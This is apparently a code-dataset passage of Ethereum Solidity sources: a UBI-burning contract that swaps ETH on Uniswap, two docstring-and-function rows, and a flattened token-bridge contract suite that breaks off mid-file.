* @dev See https://uniswap.org/docs/v2/smart-contracts/router02/#swapexactethfortokens. This will allow us to import swapExactETHForTokens function into our contract and the getAmountsOut function to calculate the token amount we will swap
*/
interface IUniswapV2Router {
function swapExactETHForTokens(
uint256 amountOutMin, //minimum amount of output token that must be received
address[] calldata path, //the different hops between tokens to be made by the exchange
address to, //recipient
uint256 deadline //unix timestamp after which the transaction will revert
)
external
payable
returns (
uint256[] memory amounts //amounts of tokens output received
);
function getAmountsOut(
uint256 amountIn, //amount of input token
address[] memory path //the different hops between tokens to be made by the exchange
)
external
view
returns (
uint256[] memory amounts //amounts of tokens output calculated to be received
);
}
/**
* @title UBI Interface
* @dev See https://github.com/DemocracyEarth/ubi/blob/master/contracts/UBI.sol This will allow us to see the UBI balance of our contract (burned UBI)
*/
interface IUBI {
function balanceOf(address _owner) external view returns (uint256);
}
contract UBIburner {
/* Events */
event BurnerAdded(address burner);
event BurnerRemoved(address burner);
event Received(address indexed from, uint256 amount);
event BurnUBIRequested(address requester, uint256 UBIAmount);
event Burned(address requester, address burner, uint256 amount, uint256 burned);
/* Constants */
/// @dev address of the uniswap v2 router
address private constant UNISWAP_V2_ROUTER =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/// @dev address of WETH token. In Uniswap v2 there are no more direct ETH pairs, all ETH must be converted to WETH first.
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
/// @dev address of UBI token.
address private constant UBI = 0xDd1Ad9A21Ce722C151A836373baBe42c868cE9a4;
/* Storage */
/// @dev An array of token addresses. Any swap needs to have a starting and end path, path.length must be >= 2. Pools for each consecutive pair of addresses must exist and have liquidity.
address[] path = [WETH, UBI];
/// @dev Parameter stored by the burner request of how much the minimum amount of UBIs burned should be.
uint256 public currentAmountOutMin;
/// @dev Burn requester. Variable stored because the burner cannot be the requester.
address public currentBurnRequester;
/// @dev Indicates if the address belongs to a burner. isBurner[address].
mapping(address => bool) public isBurner;
/// @dev Indicates whether or not there is a request to add a new burner. requestBurnerAddMap[requesterAddress][burnerAddressToAdd].
mapping(address => mapping(address => bool)) public requestBurnerAddMap;
/// @dev Indicates whether or not there is a request to remove a burner. requestBurnerRemovalMap[requesterAddress][burnerAddressToRemove].
mapping(address => mapping(address => bool)) public requestBurnerRemovalMap;
/* Modifiers */
modifier onlyBurner() {
require(isBurner[msg.sender], "Not burner");
_;
}
/* Constructor */
/// @dev 3 burners will be created by the constructor
constructor(address _burner2, address _burner3) {
addBurner(msg.sender); //_burner1
addBurner(_burner2);
addBurner(_burner3);
}
/* External and Public */
// ************************ //
// * Requests * //
// ************************ //
/** @dev Requests the creation of a new burner.
* @param _burnerToAdd Address of the burner requested to be added.
*/
function requestBurnerAdd(address _burnerToAdd) external onlyBurner {
requestBurnerAddMap[msg.sender][_burnerToAdd] = true;
}
/** @dev Acceptance of the new burner. Only a burner other than the requester can accept the request.
* @param _requester Requester address.
* @param _burnerToAdd Address of the burner to be accepted.
*/
function AddBurnerAccepted(address _requester, address _burnerToAdd)
external
onlyBurner
{
require(
!requestBurnerAddMap[msg.sender][_burnerToAdd] &&
requestBurnerAddMap[_requester][_burnerToAdd]
);
requestBurnerAddMap[_requester][_burnerToAdd] = false;
addBurner(_burnerToAdd);
}
/** @dev Requests the removal of a burner.
* @param _burnerToRemove Address of the burner requested to be removed.
*/
function requestBurnerRemoval(address _burnerToRemove) external onlyBurner {
requestBurnerRemovalMap[msg.sender][_burnerToRemove] = true;
}
/** @dev Acceptance of the burner to be removed. Only a burner other than the requester can accept the request.
* @param _requester Requester address.
* @param _burnerToRemove Address of the burner to be removed.
*/
function deleteBurnerAccepted(address _requester, address _burnerToRemove)
external
onlyBurner
{
require(
!requestBurnerRemovalMap[msg.sender][_burnerToRemove] &&
requestBurnerRemovalMap[_requester][_burnerToRemove]
);
requestBurnerRemovalMap[_requester][_burnerToRemove] = false;
isBurner[_burnerToRemove] = false;
}
/// @dev UBI burn request. This stores the parameters to be used when another burner accepts. It can be called again to update the values.
function requestBurnUBI() external onlyBurner {
currentAmountOutMin = getAmountOutMin();
currentBurnRequester = msg.sender;
emit BurnUBIRequested(msg.sender, currentAmountOutMin);
}
// ************************ //
// * Burn * //
// ************************ //
/** @dev Using the parameters stored by the requester, this function buys UBI with the ETH contract balance and freezes on this contract.
* @param _deadline Unix timestamp after which the transaction will revert.
*/
function burnUBI(uint256 _deadline) external onlyBurner {
uint256 _balanceToBurn = address(this).balance;
uint256 _amountOutMin = currentAmountOutMin;
// 0.1% less to avoid tx failure due to price decrease between request and approval
uint256 _amountOutMinToUse = _amountOutMin - (_amountOutMin / 1000);
address _burnRequester = currentBurnRequester;
require(_burnRequester != msg.sender && _burnRequester != address(0));
currentAmountOutMin = 0;
currentBurnRequester = address(0);
uint256[] memory amounts = IUniswapV2Router(UNISWAP_V2_ROUTER).swapExactETHForTokens{
value: _balanceToBurn
}(_amountOutMinToUse, path, address(this), _deadline);
emit Burned(_burnRequester, msg.sender, _balanceToBurn, amounts[1]);
}
/* Internal */
/** @dev Internal function to create a burner and emit an event.
* @param _burner Burner to add.
*/
function addBurner(address _burner) internal {
isBurner[_burner] = true;
emit BurnerAdded(_burner);
}
/** @dev Internal function to remove a burner and emit an event.
* @param _burner Burner to delete.
*/
function removeBurner(address _burner) internal {
isBurner[_burner] = false;
emit BurnerRemoved(_burner);
}
// ************************ //
// * Getters * //
// ************************ //
/** @dev Calculate the minimum UBI amount from swapping the ETH contract balance.
* @return The minimum amount of output token that must be received.
*/
function getAmountOutMin() public view returns (uint256) {
if (address(this).balance == 0) return 0;
uint256[] memory amountOutMins = IUniswapV2Router(UNISWAP_V2_ROUTER)
.getAmountsOut(address(this).balance, path);
return amountOutMins[1];
}
/** @dev UBI contract balance (burned UBI).
* @return The amount of UBI burned.
*/
function UBIburned() external view returns (uint256) {
return IUBI(UBI).balanceOf(address(this));
}
/* Fallback Function */
/// @dev Allows the contract to receive ETH
receive() external payable {
emit Received(msg.sender, msg.value);
}
}
|
UBI contract balance (burned UBI). return The amount of UBI burned./
|
function UBIburned() external view returns (uint256) {
return IUBI(UBI).balanceOf(address(this));
}
| 10,816,449
|
./full_match/1/0x6aE92a1fB0b376D440a5A878Aa9d517b24adF747/sources/contracts/ClaimConfig.sol
|
Updates fee for protocol `_protocol` by multiplying current fee by `feeMultiplier` protocolClaimFee[protocol] cannot exceed `baseClaimFee`/
|
function _updateProtocolClaimFee(address _protocol) internal {
uint256 newFee = getProtocolClaimFee(_protocol).mul(feeMultiplier);
if (newFee <= forceClaimFee) {
protocolClaimFee[_protocol] = newFee;
}
}
| 4,968,223
|
// File: contracts/interfaces/IAMB.sol
pragma solidity 0.4.24;
interface IAMB {
function messageSender() external view returns (address);
function maxGasPerTx() external view returns (uint256);
function transactionHash() external view returns (bytes32);
function messageId() external view returns (bytes32);
function messageSourceChainId() external view returns (bytes32);
function messageCallStatus(bytes32 _messageId) external view returns (bool);
function failedMessageDataHash(bytes32 _messageId) external view returns (bytes32);
function failedMessageReceiver(bytes32 _messageId) external view returns (address);
function failedMessageSender(bytes32 _messageId) external view returns (address);
function requireToPassMessage(address _contract, bytes _data, uint256 _gas) external returns (bytes32);
function requireToConfirmMessage(address _contract, bytes _data, uint256 _gas) external returns (bytes32);
function requireToGetInformation(bytes32 _requestSelector, bytes _data) external returns (bytes32);
function sourceChainId() external view returns (uint256);
function destinationChainId() external view returns (uint256);
}
// File: contracts/upgradeability/EternalStorage.sol
pragma solidity 0.4.24;
/**
* @title EternalStorage
* @dev This contract holds all the necessary state variables to carry out the storage of any contract.
*/
contract EternalStorage {
mapping(bytes32 => uint256) internal uintStorage;
mapping(bytes32 => string) internal stringStorage;
mapping(bytes32 => address) internal addressStorage;
mapping(bytes32 => bytes) internal bytesStorage;
mapping(bytes32 => bool) internal boolStorage;
mapping(bytes32 => int256) internal intStorage;
}
// File: contracts/interfaces/IUpgradeabilityOwnerStorage.sol
pragma solidity 0.4.24;
interface IUpgradeabilityOwnerStorage {
function upgradeabilityOwner() external view returns (address);
}
// File: contracts/upgradeable_contracts/Ownable.sol
pragma solidity 0.4.24;
/**
* @title Ownable
* @dev This contract has an owner address providing basic authorization control
*/
contract Ownable is EternalStorage {
bytes4 internal constant UPGRADEABILITY_OWNER = 0x6fde8202; // upgradeabilityOwner()
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event OwnershipTransferred(address previousOwner, address newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner());
/* solcov ignore next */
_;
}
/**
* @dev Throws if called by any account other than contract itself or owner.
*/
modifier onlyRelevantSender() {
// proxy owner if used through proxy, address(0) otherwise
require(
!address(this).call(abi.encodeWithSelector(UPGRADEABILITY_OWNER)) || // covers usage without calling through storage proxy
msg.sender == IUpgradeabilityOwnerStorage(this).upgradeabilityOwner() || // covers usage through regular proxy calls
msg.sender == address(this) // covers calls through upgradeAndCall proxy method
);
/* solcov ignore next */
_;
}
bytes32 internal constant OWNER = 0x02016836a56b71f0d02689e69e326f4f4c1b9057164ef592671cf0d37c8040c0; // keccak256(abi.encodePacked("owner"))
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function owner() public view returns (address) {
return addressStorage[OWNER];
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner the address to transfer ownership to.
*/
function transferOwnership(address newOwner) external onlyOwner {
_setOwner(newOwner);
}
/**
* @dev Sets a new owner address
*/
function _setOwner(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(owner(), newOwner);
addressStorage[OWNER] = newOwner;
}
}
// File: contracts/upgradeable_contracts/Initializable.sol
pragma solidity 0.4.24;
contract Initializable is EternalStorage {
bytes32 internal constant INITIALIZED = 0x0a6f646cd611241d8073675e00d1a1ff700fbf1b53fcf473de56d1e6e4b714ba; // keccak256(abi.encodePacked("isInitialized"))
function setInitialize() internal {
boolStorage[INITIALIZED] = true;
}
function isInitialized() public view returns (bool) {
return boolStorage[INITIALIZED];
}
}
// File: openzeppelin-solidity/contracts/AddressUtils.sol
pragma solidity ^0.4.24;
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param _addr address to check
* @return whether the target address is a contract
*/
function isContract(address _addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: contracts/upgradeable_contracts/DecimalShiftBridge.sol
pragma solidity 0.4.24;
contract DecimalShiftBridge is EternalStorage {
using SafeMath for uint256;
bytes32 internal constant DECIMAL_SHIFT = 0x1e8ecaafaddea96ed9ac6d2642dcdfe1bebe58a930b1085842d8fc122b371ee5; // keccak256(abi.encodePacked("decimalShift"))
/**
* @dev Internal function for setting the decimal shift for bridge operations.
* Decimal shift can be positive, negative, or equal to zero.
* It has the following meaning: N tokens in the foreign chain are equivalent to N * pow(10, shift) tokens on the home side.
* @param _shift new value of decimal shift.
*/
function _setDecimalShift(int256 _shift) internal {
// since 1 wei * 10**77 > 2**255, it does not make any sense to use higher values
require(_shift > -77 && _shift < 77);
uintStorage[DECIMAL_SHIFT] = uint256(_shift);
}
/**
* @dev Returns the value of foreign-to-home decimal shift.
* @return decimal shift.
*/
function decimalShift() public view returns (int256) {
return int256(uintStorage[DECIMAL_SHIFT]);
}
/**
* @dev Converts the amount of home tokens into the equivalent amount of foreign tokens.
* @param _value amount of home tokens.
* @return equivalent amount of foreign tokens.
*/
function _unshiftValue(uint256 _value) internal view returns (uint256) {
return _shiftUint(_value, -decimalShift());
}
/**
* @dev Converts the amount of foreign tokens into the equivalent amount of home tokens.
* @param _value amount of foreign tokens.
* @return equivalent amount of home tokens.
*/
function _shiftValue(uint256 _value) internal view returns (uint256) {
return _shiftUint(_value, decimalShift());
}
/**
* @dev Calculates _value * pow(10, _shift).
* @param _value amount of tokens.
* @param _shift decimal shift to apply.
* @return shifted value.
*/
function _shiftUint(uint256 _value, int256 _shift) private pure returns (uint256) {
if (_shift == 0) {
return _value;
}
if (_shift > 0) {
return _value.mul(10**uint256(_shift));
}
return _value.div(10**uint256(-_shift));
}
}
// File: contracts/upgradeable_contracts/BasicTokenBridge.sol
pragma solidity 0.4.24;
contract BasicTokenBridge is EternalStorage, Ownable, DecimalShiftBridge {
using SafeMath for uint256;
event DailyLimitChanged(uint256 newLimit);
event ExecutionDailyLimitChanged(uint256 newLimit);
bytes32 internal constant MIN_PER_TX = 0xbbb088c505d18e049d114c7c91f11724e69c55ad6c5397e2b929e68b41fa05d1; // keccak256(abi.encodePacked("minPerTx"))
bytes32 internal constant MAX_PER_TX = 0x0f8803acad17c63ee38bf2de71e1888bc7a079a6f73658e274b08018bea4e29c; // keccak256(abi.encodePacked("maxPerTx"))
bytes32 internal constant DAILY_LIMIT = 0x4a6a899679f26b73530d8cf1001e83b6f7702e04b6fdb98f3c62dc7e47e041a5; // keccak256(abi.encodePacked("dailyLimit"))
bytes32 internal constant EXECUTION_MAX_PER_TX = 0xc0ed44c192c86d1cc1ba51340b032c2766b4a2b0041031de13c46dd7104888d5; // keccak256(abi.encodePacked("executionMaxPerTx"))
bytes32 internal constant EXECUTION_DAILY_LIMIT = 0x21dbcab260e413c20dc13c28b7db95e2b423d1135f42bb8b7d5214a92270d237; // keccak256(abi.encodePacked("executionDailyLimit"))
function totalSpentPerDay(uint256 _day) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("totalSpentPerDay", _day))];
}
function totalExecutedPerDay(uint256 _day) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("totalExecutedPerDay", _day))];
}
function dailyLimit() public view returns (uint256) {
return uintStorage[DAILY_LIMIT];
}
function executionDailyLimit() public view returns (uint256) {
return uintStorage[EXECUTION_DAILY_LIMIT];
}
function maxPerTx() public view returns (uint256) {
return uintStorage[MAX_PER_TX];
}
function executionMaxPerTx() public view returns (uint256) {
return uintStorage[EXECUTION_MAX_PER_TX];
}
function minPerTx() public view returns (uint256) {
return uintStorage[MIN_PER_TX];
}
function withinLimit(uint256 _amount) public view returns (bool) {
uint256 nextLimit = totalSpentPerDay(getCurrentDay()).add(_amount);
return dailyLimit() >= nextLimit && _amount <= maxPerTx() && _amount >= minPerTx();
}
function withinExecutionLimit(uint256 _amount) public view returns (bool) {
uint256 nextLimit = totalExecutedPerDay(getCurrentDay()).add(_amount);
return executionDailyLimit() >= nextLimit && _amount <= executionMaxPerTx();
}
function getCurrentDay() public view returns (uint256) {
return now / 1 days;
}
function addTotalSpentPerDay(uint256 _day, uint256 _value) internal {
uintStorage[keccak256(abi.encodePacked("totalSpentPerDay", _day))] = totalSpentPerDay(_day).add(_value);
}
function addTotalExecutedPerDay(uint256 _day, uint256 _value) internal {
uintStorage[keccak256(abi.encodePacked("totalExecutedPerDay", _day))] = totalExecutedPerDay(_day).add(_value);
}
function setDailyLimit(uint256 _dailyLimit) external onlyOwner {
require(_dailyLimit > maxPerTx() || _dailyLimit == 0);
uintStorage[DAILY_LIMIT] = _dailyLimit;
emit DailyLimitChanged(_dailyLimit);
}
function setExecutionDailyLimit(uint256 _dailyLimit) external onlyOwner {
require(_dailyLimit > executionMaxPerTx() || _dailyLimit == 0);
uintStorage[EXECUTION_DAILY_LIMIT] = _dailyLimit;
emit ExecutionDailyLimitChanged(_dailyLimit);
}
function setExecutionMaxPerTx(uint256 _maxPerTx) external onlyOwner {
require(_maxPerTx < executionDailyLimit());
uintStorage[EXECUTION_MAX_PER_TX] = _maxPerTx;
}
function setMaxPerTx(uint256 _maxPerTx) external onlyOwner {
require(_maxPerTx == 0 || (_maxPerTx > minPerTx() && _maxPerTx < dailyLimit()));
uintStorage[MAX_PER_TX] = _maxPerTx;
}
function setMinPerTx(uint256 _minPerTx) external onlyOwner {
require(_minPerTx > 0 && _minPerTx < dailyLimit() && _minPerTx < maxPerTx());
uintStorage[MIN_PER_TX] = _minPerTx;
}
/**
* @dev Retrieves maximum available bridge amount per one transaction taking into account maxPerTx() and dailyLimit() parameters.
* @return minimum of maxPerTx parameter and remaining daily quota.
*/
function maxAvailablePerTx() public view returns (uint256) {
uint256 _maxPerTx = maxPerTx();
uint256 _dailyLimit = dailyLimit();
uint256 _spent = totalSpentPerDay(getCurrentDay());
uint256 _remainingOutOfDaily = _dailyLimit > _spent ? _dailyLimit - _spent : 0;
return _maxPerTx < _remainingOutOfDaily ? _maxPerTx : _remainingOutOfDaily;
}
function _setLimits(uint256[3] _limits) internal {
require(
_limits[2] > 0 && // minPerTx > 0
_limits[1] > _limits[2] && // maxPerTx > minPerTx
_limits[0] > _limits[1] // dailyLimit > maxPerTx
);
uintStorage[DAILY_LIMIT] = _limits[0];
uintStorage[MAX_PER_TX] = _limits[1];
uintStorage[MIN_PER_TX] = _limits[2];
emit DailyLimitChanged(_limits[0]);
}
function _setExecutionLimits(uint256[2] _limits) internal {
require(_limits[1] < _limits[0]); // foreignMaxPerTx < foreignDailyLimit
uintStorage[EXECUTION_DAILY_LIMIT] = _limits[0];
uintStorage[EXECUTION_MAX_PER_TX] = _limits[1];
emit ExecutionDailyLimitChanged(_limits[0]);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.4.24;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts/interfaces/ERC677.sol
pragma solidity 0.4.24;
contract ERC677 is ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
function transferAndCall(address, uint256, bytes) external returns (bool);
function increaseAllowance(address spender, uint256 addedValue) public returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool);
}
contract LegacyERC20 {
function transfer(address _spender, uint256 _value) public; // returns (bool);
function transferFrom(address _owner, address _spender, uint256 _value) public; // returns (bool);
}
// File: contracts/interfaces/ERC677Receiver.sol
pragma solidity 0.4.24;
contract ERC677Receiver {
function onTokenTransfer(address _from, uint256 _value, bytes _data) external returns (bool);
}
// File: contracts/upgradeable_contracts/ERC677Storage.sol
pragma solidity 0.4.24;
contract ERC677Storage {
bytes32 internal constant ERC677_TOKEN = 0xa8b0ade3e2b734f043ce298aca4cc8d19d74270223f34531d0988b7d00cba21d; // keccak256(abi.encodePacked("erc677token"))
}
// File: contracts/libraries/Bytes.sol
pragma solidity 0.4.24;
/**
* @title Bytes
* @dev Helper methods to transform bytes to other solidity types.
*/
library Bytes {
/**
* @dev Converts bytes array to bytes32.
* Truncates bytes array if its size is more than 32 bytes.
* NOTE: This function does not perform any checks on the received parameter.
* Make sure that the _bytes argument has a correct length, not less than 32 bytes.
* A case when _bytes has length less than 32 will lead to the undefined behaviour,
* since assembly will read data from memory that is not related to the _bytes argument.
* @param _bytes to be converted to bytes32 type
* @return bytes32 type of the firsts 32 bytes array in parameter.
*/
function bytesToBytes32(bytes _bytes) internal pure returns (bytes32 result) {
assembly {
result := mload(add(_bytes, 32))
}
}
/**
* @dev Truncate bytes array if its size is more than 20 bytes.
* NOTE: Similar to the bytesToBytes32 function, make sure that _bytes is not shorter than 20 bytes.
* @param _bytes to be converted to address type
* @return address included in the firsts 20 bytes of the bytes array in parameter.
*/
function bytesToAddress(bytes _bytes) internal pure returns (address addr) {
assembly {
addr := mload(add(_bytes, 20))
}
}
}
// File: contracts/upgradeable_contracts/ChooseReceiverHelper.sol
pragma solidity 0.4.24;
contract ChooseReceiverHelper {
/**
* @dev Helper function for alternative receiver feature. Chooses the actual receiver out of sender and passed data.
* @param _from address of tokens sender.
* @param _data passed data in the transfer message.
* @return address of the receiver on the other side.
*/
function chooseReceiver(address _from, bytes _data) internal view returns (address recipient) {
recipient = _from;
if (_data.length > 0) {
require(_data.length == 20);
recipient = Bytes.bytesToAddress(_data);
require(recipient != address(0));
require(recipient != bridgeContractOnOtherSide());
}
}
/* solcov ignore next */
function bridgeContractOnOtherSide() internal view returns (address);
}
// File: contracts/upgradeable_contracts/BaseERC677Bridge.sol
pragma solidity 0.4.24;
contract BaseERC677Bridge is BasicTokenBridge, ERC677Receiver, ERC677Storage, ChooseReceiverHelper {
function _erc677token() internal view returns (ERC677) {
return ERC677(addressStorage[ERC677_TOKEN]);
}
function setErc677token(address _token) internal {
require(AddressUtils.isContract(_token));
addressStorage[ERC677_TOKEN] = _token;
}
function onTokenTransfer(address _from, uint256 _value, bytes _data) external returns (bool) {
ERC677 token = _erc677token();
require(msg.sender == address(token));
require(withinLimit(_value));
addTotalSpentPerDay(getCurrentDay(), _value);
bridgeSpecificActionsOnTokenTransfer(token, _from, _value, _data);
return true;
}
/* solcov ignore next */
function bridgeSpecificActionsOnTokenTransfer(ERC677 _token, address _from, uint256 _value, bytes _data) internal;
}
// File: contracts/upgradeable_contracts/BaseOverdrawManagement.sol
pragma solidity 0.4.24;
/**
* @title BaseOverdrawManagement
* @dev This contract implements basic functionality for tracking execution bridge operations that are out of limits.
*/
contract BaseOverdrawManagement is EternalStorage {
event MediatorAmountLimitExceeded(address recipient, uint256 value, bytes32 indexed messageId);
event AmountLimitExceeded(address recipient, uint256 value, bytes32 indexed transactionHash, bytes32 messageId);
event AssetAboveLimitsFixed(bytes32 indexed messageId, uint256 value, uint256 remaining);
bytes32 internal constant OUT_OF_LIMIT_AMOUNT = 0x145286dc85799b6fb9fe322391ba2d95683077b2adf34dd576dedc437e537ba7; // keccak256(abi.encodePacked("outOfLimitAmount"))
/**
* @dev Total amount coins/tokens that were bridged from the other side and are out of execution limits.
* @return total amount of all bridge operations above limits.
*/
function outOfLimitAmount() public view returns (uint256) {
return uintStorage[OUT_OF_LIMIT_AMOUNT];
}
/**
* @dev Internal function for updating a total amount that is out of execution limits.
* @param _value new value for the total amount of bridge operations above limits.
*/
function setOutOfLimitAmount(uint256 _value) internal {
uintStorage[OUT_OF_LIMIT_AMOUNT] = _value;
}
/**
* @dev Internal function for retrieving information about out-of-limits bridge operation.
* @param _messageId id of the message that cause above-limits error.
* @return (address of the receiver, amount of coins/tokens in the bridge operation)
*/
function txAboveLimits(bytes32 _messageId) internal view returns (address recipient, uint256 value) {
recipient = addressStorage[keccak256(abi.encodePacked("txOutOfLimitRecipient", _messageId))];
value = uintStorage[keccak256(abi.encodePacked("txOutOfLimitValue", _messageId))];
}
/**
* @dev Internal function for updating information about tbe out-of-limits bridge operation.
* @param _recipient receiver specified in the bridge operation.
* @param _value amount of coins/tokens inside the bridge operation.
* @param _messageId id of the message that cause above-limits error.
*/
function setTxAboveLimits(address _recipient, uint256 _value, bytes32 _messageId) internal {
addressStorage[keccak256(abi.encodePacked("txOutOfLimitRecipient", _messageId))] = _recipient;
setTxAboveLimitsValue(_value, _messageId);
}
/**
* @dev Internal function for updating information about the remaining value of out-of-limits bridge operation.
* @param _value amount of coins/tokens inside the bridge operation.
* @param _messageId id of the message that cause above-limits error.
*/
function setTxAboveLimitsValue(uint256 _value, bytes32 _messageId) internal {
uintStorage[keccak256(abi.encodePacked("txOutOfLimitValue", _messageId))] = _value;
}
/* solcov ignore next */
function fixAssetsAboveLimits(bytes32 messageId, bool unlockOnForeign, uint256 valueToUnlock) external;
}
// File: contracts/upgradeable_contracts/ReentrancyGuard.sol
pragma solidity 0.4.24;
contract ReentrancyGuard {
function lock() internal returns (bool res) {
assembly {
// Even though this is not the same as boolStorage[keccak256(abi.encodePacked("lock"))],
// since solidity mapping introduces another level of addressing, such slot change is safe
// for temporary variables which are cleared at the end of the call execution.
res := sload(0x6168652c307c1e813ca11cfb3a601f1cf3b22452021a5052d8b05f1f1f8a3e92) // keccak256(abi.encodePacked("lock"))
}
}
function setLock(bool _lock) internal {
assembly {
// Even though this is not the same as boolStorage[keccak256(abi.encodePacked("lock"))],
// since solidity mapping introduces another level of addressing, such slot change is safe
// for temporary variables which are cleared at the end of the call execution.
sstore(0x6168652c307c1e813ca11cfb3a601f1cf3b22452021a5052d8b05f1f1f8a3e92, _lock) // keccak256(abi.encodePacked("lock"))
}
}
}
// File: contracts/upgradeable_contracts/Upgradeable.sol
pragma solidity 0.4.24;
contract Upgradeable {
// Avoid using onlyUpgradeabilityOwner name to prevent issues with implementation from proxy contract
modifier onlyIfUpgradeabilityOwner() {
require(msg.sender == IUpgradeabilityOwnerStorage(this).upgradeabilityOwner());
/* solcov ignore next */
_;
}
}
// File: contracts/upgradeable_contracts/Sacrifice.sol
pragma solidity 0.4.24;
contract Sacrifice {
constructor(address _recipient) public payable {
selfdestruct(_recipient);
}
}
// File: contracts/libraries/Address.sol
pragma solidity 0.4.24;
/**
* @title Address
* @dev Helper methods for Address type.
*/
library Address {
/**
* @dev Try to send native tokens to the address. If it fails, it will force the transfer by creating a selfdestruct contract
* @param _receiver address that will receive the native tokens
* @param _value the amount of native tokens to send
*/
function safeSendValue(address _receiver, uint256 _value) internal {
if (!_receiver.send(_value)) {
(new Sacrifice).value(_value)(_receiver);
}
}
}
// File: contracts/libraries/SafeERC20.sol
pragma solidity 0.4.24;
/**
* @title SafeERC20
* @dev Helper methods for safe token transfers.
* Functions perform additional checks to be sure that token transfer really happened.
*/
library SafeERC20 {
using SafeMath for uint256;
/**
* @dev Same as ERC20.transfer(address,uint256) but with extra consistency checks.
* @param _token address of the token contract
* @param _to address of the receiver
* @param _value amount of tokens to send
*/
function safeTransfer(address _token, address _to, uint256 _value) internal {
LegacyERC20(_token).transfer(_to, _value);
assembly {
if returndatasize {
returndatacopy(0, 0, 32)
if iszero(mload(0)) {
revert(0, 0)
}
}
}
}
/**
* @dev Same as ERC20.transferFrom(address,address,uint256) but with extra consistency checks.
* @param _token address of the token contract
* @param _from address of the sender
* @param _value amount of tokens to send
*/
function safeTransferFrom(address _token, address _from, uint256 _value) internal {
LegacyERC20(_token).transferFrom(_from, address(this), _value);
assembly {
if returndatasize {
returndatacopy(0, 0, 32)
if iszero(mload(0)) {
revert(0, 0)
}
}
}
}
}
// File: contracts/upgradeable_contracts/Claimable.sol
pragma solidity 0.4.24;
/**
* @title Claimable
* @dev Implementation of the claiming utils that can be useful for withdrawing accidentally sent tokens that are not used in bridge operations.
*/
contract Claimable {
using SafeERC20 for address;
/**
* Throws if a given address is equal to address(0)
*/
modifier validAddress(address _to) {
require(_to != address(0));
/* solcov ignore next */
_;
}
/**
* @dev Withdraws the erc20 tokens or native coins from this contract.
* Caller should additionally check that the claimed token is not a part of bridge operations (i.e. that token != erc20token()).
* @param _token address of the claimed token or address(0) for native coins.
* @param _to address of the tokens/coins receiver.
*/
function claimValues(address _token, address _to) internal validAddress(_to) {
if (_token == address(0)) {
claimNativeCoins(_to);
} else {
claimErc20Tokens(_token, _to);
}
}
/**
* @dev Internal function for withdrawing all native coins from the contract.
* @param _to address of the coins receiver.
*/
function claimNativeCoins(address _to) internal {
uint256 value = address(this).balance;
Address.safeSendValue(_to, value);
}
/**
* @dev Internal function for withdrawing all tokens of ssome particular ERC20 contract from this contract.
* @param _token address of the claimed ERC20 token.
* @param _to address of the tokens receiver.
*/
function claimErc20Tokens(address _token, address _to) internal {
ERC20Basic token = ERC20Basic(_token);
uint256 balance = token.balanceOf(this);
_token.safeTransfer(_to, balance);
}
}
// File: contracts/upgradeable_contracts/VersionableBridge.sol
pragma solidity 0.4.24;
contract VersionableBridge {
function getBridgeInterfacesVersion() external pure returns (uint64 major, uint64 minor, uint64 patch) {
return (6, 1, 0);
}
/* solcov ignore next */
function getBridgeMode() external pure returns (bytes4);
}
// File: contracts/upgradeable_contracts/BasicAMBMediator.sol
pragma solidity 0.4.24;
/**
* @title BasicAMBMediator
